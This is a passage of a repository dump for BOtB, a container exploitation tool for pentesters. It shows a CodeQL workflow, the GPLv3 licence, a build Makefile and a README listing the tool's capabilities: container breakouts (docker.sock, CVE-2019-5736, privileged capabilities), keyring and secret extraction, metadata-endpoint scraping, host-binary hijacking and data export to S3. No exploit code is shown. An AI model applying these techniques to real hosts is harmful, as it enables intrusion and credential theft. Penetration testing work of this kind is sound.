├── .github
└── workflows
│ └── codeql-analysis.yml
├── LICENSE
├── Makefile
├── README.md
├── SECURITY.md
├── cfg.yml
├── go.mod
├── go.sum
├── hashes.sh
├── keyctl.go
├── lib.go
├── main.go
└── utils.go
/.github/workflows/codeql-analysis.yml:
--------------------------------------------------------------------------------
1 | name: CodeQL
2 | on:
3 | push:
4 | branches:
5 | - main
6 | pull_request:
7 | branches:
8 | - main
9 | schedule:
10 | - cron: 0 0 * * 6
11 | workflow_dispatch:
12 | inputs:
13 | operator:
14 | description: "The user initiating the task."
15 | required: true
16 | default: "brompwnie"
17 |
18 | jobs:
19 | analyze:
20 | name: Analyze
21 | runs-on: ubuntu-latest
22 | steps:
23 | - name: Checkout repository
24 | uses: actions/checkout@v2
25 | with:
26 | fetch-depth: 2
27 | - name: Initialize CodeQL
28 | uses: github/codeql-action/init@v1
29 | with:
30 | languages: go
31 | - name: Autobuild
32 | uses: github/codeql-action/autobuild@v1
33 | - name: Perform CodeQL Analysis
34 | uses: github/codeql-action/analyze@v1
35 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | SHELL := /bin/bash
2 | DIR := $(shell pwd)
3 | BINARY_NAME := botb
4 | OUTPUTDIR := ${DIR}/bin
5 |
6 | .PHONY: all build-linux clean
7 |
8 | GOV111PREFIX :=
9 | GOV111 := $(shell expr `go version | cut -f2 -d.` \>= 11)
10 | ifeq "$(GOV111)" ""
11 | GOV111PREFIX := env GO111MODULE=on
12 | else
13 | GOVERSION := $(shell expr `go version | cut -f2 -d.` \>= 11)
14 | ifeq "$(GOVERSION)" ""
15 | $(error must be running Go version 1.11 or newer, due to use of modules)
16 | endif
17 | endif
18 |
19 | all: clean build-linux64 build-darwin64 build-linux32 build-darwin32
20 |
21 | clean:
22 | @echo ">> removing previous builds"
23 | @rm -rf $(OUTPUTDIR)
24 |
25 | $(GOPATH):
26 | GOPATH := $(HOME)/go
27 |
28 | build-linux64:
29 | @echo ">> running check for unused/missing packages in go.mod"
30 | @go mod tidy
31 | @echo ">> building Linux 64bit binary"
32 | $(GOV111PREFIX) GOOS=linux GOARCH=amd64 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-linux-amd64 ./
33 |
34 | build-darwin64:
35 | @echo ">> running check for unused/missing packages in go.mod"
36 | @go mod tidy
37 | @echo ">> building darwin 64bit binary"
38 | $(GOV111PREFIX) GOOS=darwin GOARCH=amd64 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-darwin-amd64 ./
39 |
40 |
41 | build-linux32:
42 | @echo ">> running check for unused/missing packages in go.mod"
43 | @go mod tidy
44 | @echo ">> building linux 32bit binary"
45 | $(GOV111PREFIX) GOOS=linux GOARCH=386 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-linux-386 ./
46 |
47 | build-darwin32:
48 | @echo ">> running check for unused/missing packages in go.mod"
49 | @go mod tidy
50 | @echo ">> building darwin 32bit binary"
51 | $(GOV111PREFIX) GOOS=darwin GOARCH=386 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-darwin-386 ./
52 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [](https://github.com/brompwnie/botb/releases)
2 |
3 | # Break out the Box (BOtB)
4 | BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.
5 |
6 |
7 | # What does it do?
8 | BOtB is a CLI tool which allows you to:
9 | - Exploit common container vulnerabilities
10 | - Perform common container post exploitation actions
11 | - Provide capability when certain tools or binaries are not available in the Container
12 | - Use BOtB's capabilities with CI/CD technologies to test container deployments
13 | - Perform the above in either a manual or automated approach
14 |
15 | ## Current Capabilities
16 | - Perform a container breakout via exposed Docker daemons (docker.sock)
17 | - Perform a container breakout via CVE-2019-5736
18 | - Perform a privileged container breakout via enabled CAPS and SYSCALLS
19 | - Extract data from Linux Kernel Keyrings via abusing the Keyctl syscall through permissive seccomp profiles
20 | - Identify Kubernetes Service Accounts secrets and attempt to use them
21 | - Identify metadata services endpoints i.e http://169.254.169.254, http://metadata.google.internal/ and http://100.100.100.200/
22 | - Scrape metadata info from GCP metadata endpoints
23 | - Analyze and identify sensitive strings in ENV and process in the ProcFS i.e /Proc/{pid}/Environ
24 | - Find and Identify UNIX Domain Sockets
25 | - Identify UNIX domain sockets which support HTTP
26 | - Find and identify the Docker Daemon on UNIX domain sockets or on an interface
27 | - Hijack host binaries with a custom payload
28 | - Perform actions in CI/CD mode and only return exit codes > 0
29 | - Push data to an S3 bucket
